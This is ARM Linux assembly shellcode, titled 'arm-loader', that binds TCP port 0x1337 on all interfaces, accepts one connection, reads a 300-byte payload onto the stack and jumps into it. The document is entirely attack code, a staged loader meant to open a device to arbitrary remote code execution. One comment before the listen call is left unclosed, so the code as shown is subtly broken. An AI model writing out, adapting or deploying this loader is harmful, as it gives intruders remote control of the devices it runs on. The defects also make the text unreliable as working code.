/*
* Title: arm-loader
* Brief: Bind port 0x1337 on any local interface, listen for a connection
* receive a payload, and pass execution to it
* Author: Daniel Godas-Lopez <gmail account dgodas>
*/
/*
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
*/
mov %r0, $2 /* AF_INET */
mov %r1, $1 /* SOCK_STREAM */
mov %r2, $6 /* IPPRTOTO_TCP */
push {%r0, %r1, %r2}
mov %r0, $1 /* socket */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12
mov %r6, %r0 /* r6 = soc_des */
/*
bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
*/
.if 0 /* r0 == r6 already */
mov %r0, %r6 /* soc_des */
.endif
mov %r1, $0x37
mov %r7, $0x13
mov %r1, %r1, lsl $24
add %r1, %r7, lsl $16
add %r1, $2 /* port = 0x1337, family = 2 (AF_INET) */
sub %r2, %r2, %r2 /* addr = 0.0.0.0 */
push {%r1, %r2}
mov %r1, %sp /* pointer to sockaddr_in */
mov %r2, $16 /* sizeof(struct sockaddr_in) */
push {%r0, %r1, %r2}
mov %r0, $2 /* bind */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $20
/*
listen(soc_des, 1);
/*
mov %r1, $1 /* backlog (see man 2 listen) */
mov %r0, %r6 /* soc_des */
push {%r0, %r1}
mov %r0, $4 /* listen */
mov %r1, %sp
svc 0x00900066
add %sp, $8
/*
soc_cli = accept(soc_des, 0, 0);
*/
mov %r0, %r6 /* soc_des */
sub %r1, %r1, %r1
sub %r2, %r2, %r2
push {%r0, %r1, %r2}
mov %r0, $5 /* accept */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12
mov %r6, %r0 /* r6 = soc_cli */
/*
recv(soc_des, buff, len, flags);
*/
sub %r4, %sp, $316 /* buffer on the stack + 16 bytes padding */
sub %r5, %r5, %r5 /* byte count */
1: mov %r0, %r6
add %r1, %r4, %r5 /* dst pointer */
mov %r2, $300 /* 300 bytes */
mov %r3, $256 /* MSG_WAITALL */
push {%r0, %r1, %r2, %r3}
mov %r0, $10 /* recv */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $16
add %r5, %r0
cmp %r5, $300
bne 1b
/*
Jump into code
*/
mov %pc, %r4
